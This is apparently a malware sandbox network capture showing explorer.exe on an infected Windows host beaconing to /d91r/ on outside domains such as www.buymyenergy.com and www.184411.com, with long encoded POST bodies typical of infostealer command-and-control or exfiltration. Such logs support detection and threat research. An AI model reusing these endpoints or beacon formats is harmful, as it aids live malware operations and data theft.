Mar 20, 2023 15:20:18.325510979 CET	709	IN	HTTP/1.1 404 Not Found Cache-Control: private Content-Length: 80 Content-Type: text/html; Charset=gb2312 Server: Microsoft-IIS/7.5 Set-Cookie: ASPSESSIONIDSADQDCCQ=JMGAOJLDLILAIHCOCPOKHOOP; path=/ X-Powered-By: ASP.NET Date: Mon, 20 Mar 2023 14:20:17 GMT Connection: close Data Raw: 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 31 35 31 30 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script language="javascript" type="text/javascript" src="/15109.js"></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.11.20	49860	45.194.145.38	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:20.572699070 CET	713	OUT	POST /d91r/ HTTP/1.1 Host: www.buymyenergy.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.buymyenergy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.buymyenergy.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 72 6b 65 53 41 69 68 6e 67 79 73 64 38 76 41 2d 7e 31 4c 61 50 58 62 33 54 78 79 4d 42 6a 57 32 74 78 4b 71 32 69 69 62 31 58 32 44 76 6f 6e 5a 53 66 43 37 73 2d 47 49 71 56 63 6e 6d 42 55 70 54 31 57 44 46 4f 66 67 56 33 53 75 42 6d 4d 7a 51 6a 48 77 65 4e 54 61 45 55 30 35 38 73 75 73 7e 74 74 67 56 4d 6d 4f 6d 54 41 4c 78 37 78 46 64 41 6e 54 34 44 6e 68 4d 33 53 53 4e 45 73 66 44 49 59 51 59 4e 4a 6c 57 79 76 43 46 38 59 71 59 73 59 44 6a 53 4b 4d 50 35 69 6d 53 7a 38 50 4e 41 54 58 35 72 69 32 68 46 38 39 61 33 65 42 7a 52 6d 57 64 74 56 41 71 4a 45 4a 59 4b 35 48 67 4b 37 36 58 39 52 7a 38 68 67 65 4f 79 63 49 45 70 58 72 33 79 6d 6e 6f 69 43 77 75 46 52 5f 75 47 48 62 6a 78 59 47 38 2d 79 45 32 63 76 4b 4d 50 74 4e 6e 6d 71 74 59 33 7a 6d 56 75 54 56 6b 37 4d 41 7e 77 55 43 32 46 5a 6e 73 4a 71 4e 57 4f 78 33 72 55 55 72 48 71 54 5f 59 38 41 46 38 71 33 38 48 38 47 4c 4e 56 48 68 32 53 28 4a 75 66 6a 6f 72 58 7a 53 67 50 33 41 47 65 37 30 68 4d 61 54 4b 39 50 56 47 39 67 33 57 37 31 79 58 44 54 38 5a 52 4c 57 50 41 61 56 44 48 7e 7a 72 49 53 56 33 67 58 57 70 39 4b 6a 32 2d 6b 6b 45 53 4d 53 50 62 59 69 65 4c 64 45 55 47 37 6a 32 41 36 58 33 36 52 31 4a 43 42 46 4e 70 51 57 62 59 65 50 43 66 38 30 70 33 33 68 70 49 33 73 67 6e 55 37 78 51 32 36 69 66 72 6d 65 2d 43 6a 75 4b 74 69 43 72 32 36 36 34 42 4a 44 63 52 6e 38 46 50 45 51 51 67 77 51 2d 61 36 75 4f 4b 39 52 62 47 77 59 48 6e 7a 35 71 4a 42 68 56 65 52 50 72 32 61 78 65 31 57 74 77 37 63 36 34 48 69 4a 58 6b 63 43 72 6c 67 33 72 48 42 28 6b 74 6f 62 39 69 6b 79 76 6a 2d 35 63 4c 63 49 53 66 55 51 49 76 5f 6e 6f 44 57 79 36 62 6f 32 4e 58 63 4b 5a 33 6b 4d 44 4d 31 47 75 6f 4b 39 36 30 58 6b 44 39 76 4c 74 44 36 52 6d 56 33 50 49 54 49 64 48 36 36 7e 50 62 64 71 34 71 33 4e 42 34 5f 4a 76 35 70 62 59 64 39 30 6e 32 63 79 55 50 74 4b 2d 41 67 53 50 54 47 79 67 64 38 47 70 77 48 79 4b 47 30 6d 4a 38 46 38 36 6c 5a 63 6c 49 6e 49 5a 35 73 50 62 6e 46 78 45 48 6f 72 50 36 30 48 33 4b 73 4d 49 31 4a 64 64 34 58 77 59 4b 47 39 34 57 54 58 68 33 45 31 44 6f 51 37 31 47 31 50 6e 64 4b 46 70 31 6c 35 44 72 5f 48 4f 50 71 48 56 6e 38 35 7a 7a 64 61 77 36 79 6b 67 4e 45 30 37 69 44 6b 56 77 5a 66 69 72 6d 79 4a 78 71 7a 56 46 42 61 6b 4d 35 55 32 39 7a 6a 66 54 79 44 30 52 54 57 63 32 38 65 4d 71 2d 7e 64 46 37 30 36 76 41 70 42 36 6d 35 32 4e 55 4d 6e 50 4b 42 74 37 4e 47 58 49 69 47 4b 50 6b 55 64 77 76 69 38 32 7a 42 5f 4a 56 72 4f 66 71 46 50 4f 68 6c 32 32 30 49 32 6f 66 28 68 43 6f 50 72 73 50 55 30 73 5a 59 53 4d 77 4d 77 44 34 7e 31 43 41 6f 48 79 59 28 48 62 4e 6a 64 4b 39 49 4b 54 76 41 5f 35 51 52 71 4d 41 49 69 47 78 79 6f 5a 6e 6c 4b 58 59 56 63 62 68 4f 4d 4f 39 58 74 43 59 5a 44 77 5f 44 5a 59 51 72 7a 68 74 70 2d 35 6b 7a 43 30 64 5a 68 75 5f 6f 70 74 72 6f 47 79 53 72 5a 44 33 32 79 6b 64 57 37 68 4b 77 4b 6f 66 35 5f 58 73 6d 75 6b 70 50 65 5a 65 77 73 53 4c 28 59 56 38 51 78 78 7a 36 36 46 4d 6c 47 6e 4b 5a 62 6d 75 59 6e 48 6d 39 33 6c 36 65 56 6a 52 4e 4c 79 35 62 74 34 44 42 4c 55 4d 75 63 62 42 32 51 52 31 34 31 31 78 6d 77 62 6e 6c 56 73 57 47 36 77 42 78 58 42 4f 46 4d 7a 57 48 79 52 77 59 59 4d 67 47 6e 69 77 68 4e 38 76 4e 64 44 6c 6d 6c 6c 76 7e 76 6b 48 45 4e 6b 69 45 30 33 48 28 59 54 43 4a 74 76 36 4d 45 6d 4c 44 6f 43 53 41 75 68 46 58 63 51 4a 36 39 6c 72 50 6b 76 46 64 4b 34 54 28 2d 62 43 51 64 7e 7a 63 4c 4c 78 7e 56 30 61 68 31 77 46 36 61 43 71 53 48 33 67 67 78 44 49 68 46 4c 37 66 36 37 34 28 44 56 37 42 55 4e 58 32 6c 66 54 75 5f 70 79 76 48 75 6c 77 66 72 4e 4b 4b 64 37 77 79 67 5f 7e 51 53 55 6a 51 7a 64 50 65 7a 65 37 77 54 32 5a 69 59 4b 6e 46 66 72 34 62 72 43 65 51 66 36 6d 32 69 73 48 49 79 4b 4d 57 70 67 56 55 54 50 67 48 6c 4a 42 65 46 6f 79 73 68 56 59 30 32 62 41 42 43 6f 75 48 6d 73 51 58 62 42 79 6b 5a 64 34 74 28 45 50 69 42 30 28 46 33 58 46 6e 75 65 4a 69 51 50 5a 45 39 78 5a 64 71 41 4d 6b 6e 6a 5a 72 51 56 32 64 4e 6c 7e 47 79 69 45 35 55 57 53 53 4f 4e 73 42 48 33 7e 31 62 33 46 33 33 65 64 6d 72 35 38 30 66 4d 47 55 52 52 48 5f 74 58 4b 35 6d 59 6a 62 58 63 57 6c 30 77 39 75 43 5a 42 45 52 4e Data Ascii: pO=rkeSAihngysd8vA-~1LaPXb3TxyMBjW2txKq2iib1X2DvonZSfC7s-GIqVcnmBUpT1WDFOfgV3SuBmMzQjHweNTaEU058sus~ttgVMmOmTALx7xFdAnT4DnhM3SSNEsfDIYQYNJlWyvCF8YqYsYDjSKMP5imSz8PNATX5ri2hF89a3eBzRmWdtVAqJEJYK5HgK76X9Rz8hgeOycIEpXr3ymnoiCwuFR_uGHbjxYG8-yE2cvKMPtNnmqtY3zmVuTVk7MA~wUC2FZnsJqNWOx3rUUrHqT_Y8AF8q38H8GLNVHh2S(JufjorXzSgP3AGe70hMaTK9PVG9g3W71yXDT8ZRLWPAaVDH~zrISV3gXWp9Kj2-kkESMSPbYieLdEUG7j2A6X36R1JCBFNpQWbYePCf80p33hpI3sgnU7xQ26ifrme-CjuKtiCr2664BJDcRn8FPEQQgwQ-a6uOK9RbGwYHnz5qJBhVeRPr2axe1Wtw7c64HiJXkcCrlg3rHB(ktob9ikyvj-5cLcISfUQIv_noDWy6bo2NXcKZ3kMDM1GuoK960XkD9vLtD6RmV3PITIdH66~Pbdq4q3NB4_Jv5pbYd90n2cyUPtK-AgSPTGygd8GpwHyKG0mJ8F86lZclInIZ5sPbnFxEHorP60H3KsMI1Jdd4XwYKG94WTXh3E1DoQ71G1PndKFp1l5Dr_HOPqHVn85zzdaw6ykgNE07iDkVwZfirmyJxqzVFBakM5U29zjfTyD0RTWc28eMq-~dF706vApB6m52NUMnPKBt7NGXIiGKPkUdwvi82zB_JVrOfqFPOhl220I2of(hCoPrsPU0sZYSMwMwD4~1CAoHyY(HbNjdK9IKTvA_5QRqMAIiGxyoZnlKXYVcbhOMO9XtCYZDw_DZYQrzhtp-5kzC0dZhu_optroGySrZD32ykdW7hKwKof5_XsmukpPeZewsSL(YV8Qxxz66FMlGnKZbmuYnHm93l6eVjRNLy5bt4DBLUMucbB2QR1411xmwbnlVsWG6wBxXBOFMzWHyRwYYMgGniwhN8vNdDlmllv~vkHENkiE03H(YTCJtv6MEmLDoCSAuhFXcQJ69lrPkvFdK4T(-bCQd~zcLLx~V0ah1wF6aCqSH3ggxDIhFL7f674(DV7BUNX2lfTu_pyvHulwfrNKKd7wyg_~QSUjQzdPeze7wT2ZiYKnFfr4brCeQf6m2isHIyKMWpgVUTPgHlJBeFoyshVY02bABCouHmsQXbBykZd4t(EPiB0(F3XFnueJiQPZE9xZdqAMknjZrQV2dNl~GyiE5UWSSONsBH3~1b3F33edmr580fMGURRH_tXK5mYjbXcWl0w9uCZBERNNpd18V8n8t9CbEOYiPiaiq7WKTvxkXaA30~CUlgD1ri7RYH7J1iXpdRZVTAk~j4vgEi-yulRkCiWW7WXsH8KmGUDA9A9CGg_dEMNj4Qvk87Bp4GlC5GJBgOIhZA5FNf_62PzG4aluR~xf_cjLbGPSe2NWZ9XmvasiKFni-ms4bBof5~vCzBb9rtD8lCo~lfi1um1h-28MjxNmAOwXvN23J4vYTVwDnKDR3b4t_HIyLOUU8BwcS6xWCH5KLdwKoR0ZF3nrlb0(asJkfaAd5lUMu90w0IqOQBTJkmLKw6sLygoVUUb8YOzCY~QNK~CY-RrT3p9AZL8kqXh0_6ADouxOvF0s5r_vWXokK2c6KJaZcQ11Lx2rGBe1qUN50QsTuF_WuAzspMNXliAW0sEP7xhk_8RdZ09qvKyEkJIL4eLMqPPrCrX3XWSN6gKdqdgmZRWN3KpOetyyzw8FpGhv1Npbttc8lTYZhSUk8RCPdj_nlCC94R6wyxwG5ChVb3NIL6VTQ0k7lo2gyQwOB4mzrXiu4ZMd_qw2-SAgRVn48UNt-6lgQxBEspnMSUyk-m3TizOpj(1sCCyTKlCXogKpdpKc9RfBXj1Fargu6N4oaFpG880ch(lS439eEI8G-IxD7JhDQo-dkJ7j4bVi0WR1Tnab5hcZ1Qg(if_kLjOrgWpo6pKXmcYu7AultxjQbDC8N~QwpqP9_ULVDMIyGGINe8_mo8kzd6YX6ChLnC3QzKHDz9Ng33otfo5~J3dheGBk9qWejKBFE(gkCHxQPj-hydTtka8Qk4gP8gtmMw1U-P1CPvjgSM4rWq3kZOH2mfQD4~x6luBOwht8AbZLkPrWCujm6Z6mHGikbBzWp(IPegtooRX3FkHXopAGQugrEkdWl93StAF6V3lq2QX3Ph1IdUnsS~oelZnFXGB6HvZq4SCkhzKTbmY4yebFOqO3VR81R5xUKhIFOq8dCBtbOhlZNcx5jMYy5WzliEfrhYSTO1MiOp0F6MHq04Nd0oXUtoVDqyB5tV-NFTQCMtBn1GZyFYpuI9dX63xxGE32TjqI5mn~2VZg0U_YZNHY1Ytpf54SriAUQm71s4LMEGH6mBIqdWJHE5u96bdBqkgGE2Dbs1GZEZbc0kP2xrD9rUbVltt7S10Zg6QirAqdNPcHaKwlVRjBpUs5BBI6Kci8WqMSsMCTv34pIhBJf5jW5w90QzCKP8uIMAiNKV1inN5W9Woaq6_DJ4HXhL0fFEte24QoFEJY0FSAZinlkyOiwLGUSb4ZQJ5js(dkF9CrObd7vOJOSLrzM7eEbT6CDuHR7UPgSsnE8ZPtRaG86d9NjEltpypMOsRRfnDx3q-cqNMn6dC1DiSA7f7UMNTG2GhY-6uInrGr69OI86r8e27FijyGB8IuumvC975z0gS3QVXfyX-cfdl4_7oolvqn9b61c2QMpsg3xESKZBhR5zUfxog71pSIXSI6YS1NYjkk6Mbp-hUXc2si_c1mOHtv8uPQzTAEnQSVoY2gNPScEn_IsSb09ZIqUFT1fobr5fGq7WcRCCBPTsyp1A44PTKxiUWyT(h6eCkMD8xJFArmLYe(QCdwHrbhOH2CkgAGTJdGY~bedkgIXqZ2Z1IsDiLShwGsN9OGtGydq0-zRfaKXwcwi0JokGPzpW3Wx1jNTCnwD5VCJ(r~yXhdQj5Y0yZeojAxD0Cfd5ruKSOKrwyfJ2uxQy03HPLls(lSQ7FFFvHufpkDJdVmX~G13WA8D1YbUlOf1yvDH1gwFYiLeR05fkRjjKm6hYWPdHL8hSbDEbG~WuKDOEkO9w2FtC5W-(yuQCfCq5gp_AhUqn-CfEAvJxWaIM2FiT5cP9bDSxhKK73UQ(kKWGEsL(tcMr_~0IavQG_5I9SsyNy0YrQICifIZjRfoqJUvjWYd1htjSv6Qa4usG0uxUQWnT9kfyTHvDv~EBa(kdAC28KeUMLsqk9dO6GtFvawilMbjjrW_jbqByJlU668isK9MaGlizG3jNZjhfRXng5LTodmkaN247BT5tchSSDH0WkD2ABOat7(YqKWloXSX57fYiWqHxhFkSalAFd9PoIXtGmOD55
Mar 20, 2023 15:20:20.572786093 CET	717	OUT	Data Raw: 31 6b 57 33 68 6b 49 69 42 4e 48 43 53 65 7a 57 4e 63 7e 51 6f 76 55 5f 49 68 6e 7a 45 62 28 66 6f 2d 72 36 36 57 73 44 78 54 67 70 59 58 49 4f 28 6a 31 35 77 4f 52 67 53 70 73 37 4f 2d 54 4b 36 57 7e 4d 64 75 42 36 39 79 42 6b 28 62 74 42 7e 4c Data Ascii: 1kW3hkIiBNHCSezWNc~QovU_IhnzEb(fo-r66WsDxTgpYXIO(j15wORgSps7O-TK6W~MduB69yBk(btB~Li9E83pqpvQ6wExjzsCD4bfm5EhW8HGxCQnuSDBtF(QTSriATAzbjfLaNqYuMuTaLwik2ibrhG46SOx0WkMTirIJQ5drw3Z16l8cteVF1wN6RN1pOzkSU1xpqLgsSO8HllQdsp2VmVDx3y2pRIHpTDJzIkOXSw0kk~
Mar 20, 2023 15:20:20.785180092 CET	723	OUT	Data Raw: 35 49 6c 76 6f 50 76 59 49 5f 54 37 58 70 47 66 6d 55 59 6a 4c 5f 67 39 34 6a 45 61 54 70 6c 7a 73 61 67 67 51 6d 4e 63 41 55 38 56 6b 37 55 31 73 66 41 34 4b 4c 73 33 74 2d 65 4b 63 62 6f 63 42 4d 6f 74 43 2d 52 44 7e 33 28 76 55 30 4c 48 47 49 Data Ascii: 5IlvoPvYI_T7XpGfmUYjL_g94jEaTplzsaggQmNcAU8Vk7U1sfA4KLs3t-eKcbocBMotC-RD~3(vU0LHGIxGlePVcV604BXEs2H9pEKBxEYMSIqO1hRy2BCdGULzGxLkJqnQH4YJENWCGyCysD(zg1GZI9gWF50MLJAB45mU(3meMucOlTNYrBaExcE4(XPah9DTyfwr7A0J7MRh3biH8PSPv5xYSZXS2zI9~mqQyiXjdc4rVom
Mar 20, 2023 15:20:20.785304070 CET	735	OUT	Data Raw: 42 6f 48 41 31 49 78 43 65 50 55 73 51 5f 6f 5f 6e 5a 75 73 6e 47 7e 6f 39 43 4a 4b 67 49 63 55 78 31 79 52 76 78 65 42 41 35 7e 37 57 33 74 65 6b 36 6f 46 4d 61 61 67 6d 4b 47 4e 6d 4d 50 56 61 66 4f 39 73 76 64 74 39 5a 4b 32 66 68 6e 59 4b 34 Data Ascii: BoHA1IxCePUsQ_o_nZusnG~o9CJKgIcUx1yRvxeBA5~7W3tek6oFMaagmKGNmMPVafO9svdt9ZK2fhnYK48KrjjUmvnQRua_WdqJaeztG0LQKScvVLwdJkcmAl(LhnXLZm6XapGLzKutqMJkfAWM~II_oLldZasM0Hgidq1RLynRYazB95hEE5r_45~MA5Jq~812UR0iUr~02nXTLCRw(ME6g85Z6v0gbxADz4HV7ezkzrjyDae
Mar 20, 2023 15:20:20.996362925 CET	737	OUT	Data Raw: 61 68 32 62 32 74 51 5a 75 33 34 38 79 65 41 5a 59 66 39 44 68 5a 44 41 28 74 4e 34 6f 45 55 44 34 32 59 47 79 56 6c 33 30 75 69 33 6c 42 42 46 49 63 42 68 4a 32 45 7a 6b 79 74 63 4f 4d 55 6d 7e 33 4d 74 67 45 6b 42 32 4a 72 63 51 62 41 41 46 49 Data Ascii: ah2b2tQZu348yeAZYf9DhZDA(tN4oEUD42YGyVl30ui3lBBFIcBhJ2EzkytcOMUm~3MtgEkB2JrcQbAAFIlwu2VIcl27luv8OcdWOtzbFvltbOVz1yVqy2PHoCMs~QC97GUKLa8bvMPpQpqHa6pPsO~lKeCw3xclqtmd0M4MvY4AQLJFsjnJ5oQsqCyGeIKO~Zo9RsNthCXoQtxdmBt_~HJSkPbo1_Q0X3qZnK8nSTwuQvY9Bvw
Mar 20, 2023 15:20:20.997420073 CET	740	OUT	Data Raw: 4c 52 4a 71 6c 4e 65 74 71 58 6d 6e 51 39 43 38 4d 4b 52 66 51 74 45 47 66 6f 57 6f 70 31 43 30 75 4d 69 38 28 63 7a 73 75 5a 7e 79 45 45 50 39 5a 69 75 4f 62 49 54 5a 6a 56 7e 30 32 49 72 71 48 78 30 6d 54 55 6b 69 4d 74 77 39 6a 30 33 76 48 75 Data Ascii: LRJqlNetqXmnQ9C8MKRfQtEGfoWop1C0uMi8(czsuZ~yEEP9ZiuObITZjV~02IrqHx0mTUkiMtw9j03vHuchxpFrTtTWVi6Yo4~fx0aqQTzRqatScmkHpxGhJAQWGvIJpRiTeWxO1_xlHmTAtnQ477R0uvi6Ds5iP1GL4hyG0vjxokTRQjNKMF1yCb8521sKfSuG4OqywRoTnxmXMn~fM1wkRv923LSbM4tY~GHvq0BmsKYZT3j
Mar 20, 2023 15:20:20.997591019 CET	748	OUT	Data Raw: 67 74 49 72 31 4e 36 47 73 44 77 5a 45 6a 4a 4a 50 47 66 33 72 6f 46 44 37 55 36 37 6c 4a 71 58 39 45 4b 79 56 41 4d 49 4f 77 47 78 47 5f 46 6a 75 30 74 45 79 7a 72 51 5a 66 65 47 74 42 53 5a 49 5a 67 33 38 5a 38 6c 62 67 7e 43 31 49 4b 5f 6e 31 Data Ascii: gtIr1N6GsDwZEjJJPGf3roFD7U67lJqX9EKyVAMIOwGxG_Fju0tEyzrQZfeGtBSZIZg38Z8lbg~C1IK_n1kWgHxTNCOnEQwKzt1cgjcP48b3DhK5aBgQMl9mct0Bsvks~1XaeTcB4HagIilUQ5Sgt16olpT1Q8jKqhOlqiebdWqojTzlEkR5mOdIhQVTc45Tx299LBv_3epIABjaFUlV2Thv(KU3(iIIu0(dcW(6(w~y4pDNVaL
Mar 20, 2023 15:20:20.997932911 CET	753	OUT	Data Raw: 62 41 4f 50 73 49 6f 62 4b 66 64 49 6f 56 33 43 62 77 76 47 28 4d 57 69 7e 49 51 5a 48 61 51 54 36 4a 41 2d 77 43 52 46 4d 59 6c 75 66 43 36 68 30 65 61 35 4b 67 57 52 78 30 49 38 66 4e 69 5f 7e 46 38 50 4e 76 6e 47 7a 53 52 4a 47 6e 33 76 71 39 Data Ascii: bAOPsIobKfdIoV3CbwvG(MWi~IQZHaQT6JA-wCRFMYlufC6h0ea5KgWRx0I8fNi_~F8PNvnGzSRJGn3vq9YQiZ3Z2oFB4OldSWgllkeHAfUd0v(psdbRQsxEdeut91mkA1~m2lhmxxSW8rDPks~Xv8Yj6IFgUgoB0Ho-hhQxz4pMIuoS0RmxbFk1kdBIxlyVZL4oF_F0z8bqYVWo30Ru2ra6JxklLxVB5jBfB9PfvEuFvaCWPb3
Mar 20, 2023 15:20:20.998106003 CET	761	OUT	Data Raw: 66 6b 44 4b 4e 56 45 48 67 79 68 68 30 6a 59 62 46 59 75 68 73 7a 67 39 74 62 4d 35 35 6d 70 64 74 5f 54 4f 58 51 65 6e 51 48 5a 72 5a 73 73 66 59 45 32 30 74 78 35 63 76 48 54 47 4b 6c 79 63 7e 75 70 61 65 4b 59 50 45 45 54 70 66 39 4f 50 50 53 Data Ascii: fkDKNVEHgyhh0jYbFYuhszg9tbM55mpdt_TOXQenQHZrZssfYE20tx5cvHTGKlyc~upaeKYPEETpf9OPPSpzAZ(padne2mZH0A4XQXx-UCUJ7lU6Qz0Wc106yzpNLmFG(DwuAvXROJmheUwITb8iRwYHvDrMICpOR7zVMV4Nqu1EZa4ZWaNWIQITlF9KzBQmqPdo1_EdVgetmBBfJVcu7s5dwYPNjR5rltdZRhiuR2HHOHaGrd~
Mar 20, 2023 15:20:21.516768932 CET	762	IN	HTTP/1.1 404 Not Found Cache-Control: private Content-Length: 80 Content-Type: text/html; Charset=gb2312 Server: Microsoft-IIS/7.5 Set-Cookie: ASPSESSIONIDSADQDCCQ=KMGAOJLDIKNFMAKEOLLIMMHN; path=/ X-Powered-By: ASP.NET Date: Mon, 20 Mar 2023 14:20:21 GMT Connection: close Data Raw: 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 31 35 31 30 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script language="javascript" type="text/javascript" src="/15109.js"></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.11.20	49862	45.194.145.38	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:23.292037010 CET	770	OUT	GET /d91r/?pO=mm2yDWovojsq98EVpVvEejLaRDawKnKNjB2g4hWos3CUrPXkYcC/p+nLjVs5nQU/dkGDVZ/wRxzIeHsnSgbyBomSUgQTl++E/Q==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.buymyenergy.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:20:23.702366114 CET	770	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 80 Content-Type: text/html; Charset=gb2312 Server: Microsoft-IIS/7.5 Set-Cookie: ASPSESSIONIDSADQDCCQ=LMGAOJLDPNCCMDOKDDPIJLDG; path=/ X-Powered-By: ASP.NET Date: Mon, 20 Mar 2023 14:20:23 GMT Connection: close Data Raw: 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 31 35 31 30 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script language="javascript" type="text/javascript" src="/15109.js"></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.11.20	49863	154.215.156.6	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:29.521564007 CET	771	OUT	POST /d91r/ HTTP/1.1 Host: www.184411.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.184411.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.184411.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 64 54 39 43 75 65 6f 72 70 56 5a 42 57 32 65 51 34 52 53 71 38 5a 71 30 7a 47 46 4b 38 6c 6d 2d 58 76 6d 44 32 33 37 45 32 72 31 4a 71 54 79 4c 53 64 59 46 31 34 38 37 51 43 37 34 45 36 34 30 62 37 45 59 6a 62 4a 4f 33 48 41 70 7e 77 4a 70 68 52 7a 6d 48 44 4b 6f 31 38 64 7a 75 53 47 55 78 6a 49 4f 52 59 53 63 7e 37 6e 32 66 62 32 68 74 52 62 6a 5a 55 28 38 70 59 48 4d 55 57 48 4f 34 4b 52 54 77 39 45 56 32 48 42 65 34 59 35 5a 35 46 4b 70 64 65 6b 77 6d 33 73 2d 45 69 50 39 70 75 59 65 68 6e 73 6d 73 35 5a 47 76 33 55 74 49 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=dT9CueorpVZBW2eQ4RSq8Zq0zGFK8lm-XvmD237E2r1JqTyLSdYF1487QC74E640b7EYjbJO3HAp~wJphRzmHDKo18dzuSGUxjIORYSc~7n2fb2htRbjZU(8pYHMUWHO4KRTw9EV2HBe4Y5Z5FKpdekwm3s-EiP9puYehnsms5ZGv3UtIA).
Mar 20, 2023 15:20:29.775382042 CET	772	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:20:29 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.11.20	49864	154.215.156.6	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:32.304577112 CET	773	OUT	POST /d91r/ HTTP/1.1 Host: www.184411.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.184411.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.184411.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 64 54 39 43 75 65 6f 72 70 56 5a 42 58 57 75 51 72 79 36 71 30 5a 71 33 71 32 46 4b 33 46 6e 31 58 76 69 44 32 79 44 55 78 5a 52 4a 70 7a 43 4c 54 66 67 46 32 34 38 37 49 53 36 38 63 61 34 5f 62 37 49 32 6a 61 31 4f 33 44 6f 70 7e 43 78 70 70 42 7a 68 4d 6a 4b 72 68 73 64 32 38 69 47 67 78 69 30 61 52 5a 47 63 7e 4b 62 32 65 5a 75 68 71 41 62 67 64 30 28 36 7e 49 48 4e 64 32 48 2d 34 4b 4d 77 77 39 73 76 32 56 64 65 34 38 4e 5a 72 31 4b 6f 56 75 6b 39 36 48 74 74 43 57 57 70 75 64 4d 62 34 54 49 4c 6e 34 6f 71 71 6e 5a 6b 61 66 4c 35 56 38 6d 6d 79 45 68 45 45 5f 43 58 35 67 57 68 7e 73 78 57 31 61 6d 36 4f 37 78 72 50 38 44 72 51 39 67 73 53 33 72 6c 6f 6b 6e 44 4f 4c 44 6a 79 4b 7a 49 69 78 62 78 32 31 63 62 77 71 70 65 5a 4f 56 73 4c 44 75 30 35 46 38 58 70 30 6d 49 32 78 33 50 59 77 78 69 36 72 42 51 61 70 66 39 33 51 4b 46 72 5f 51 56 58 5a 56 4b 31 58 39 34 4d 6f 6a 52 53 58 6b 5f 6e 75 69 47 76 4f 5a 34 4e 38 45 5a 53 34 56 73 48 37 6d 4a 49 52 56 6b 49 35 71 49 45 35 6e 54 73 41 37 35 31 30 7a 64 4b 5f 51 4f 4e 2d 5a 53 4d 76 38 76 58 77 4a 6e 41 38 6c 46 73 6f 63 4c 42 6f 35 69 73 62 7e 53 61 41 75 63 59 77 53 72 4c 63 7e 34 4f 6b 6a 47 5a 57 36 69 55 65 74 62 49 59 66 75 4b 4e 50 59 47 70 4a 54 57 77 6b 79 47 6e 67 76 39 6b 32 2d 53 4b 56 54 32 56 62 73 34 46 69 33 7e 6f 51 51 71 39 31 49 31 6e 72 32 6f 4a 32 73 71 46 67 51 34 45 67 54 68 62 79 66 6d 45 31 53 7a 51 35 72 6a 46 74 55 53 66 4c 31 4a 30 38 52 54 6c 62 79 41 6d 6f 6d 53 61 77 78 58 49 63 2d 73 6a 48 4b 6e 69 61 57 35 74 44 31 6e 72 6d 37 6e 67 62 70 54 2d 73 2e 00 00 00 00 00 00 00 00 Data Ascii: 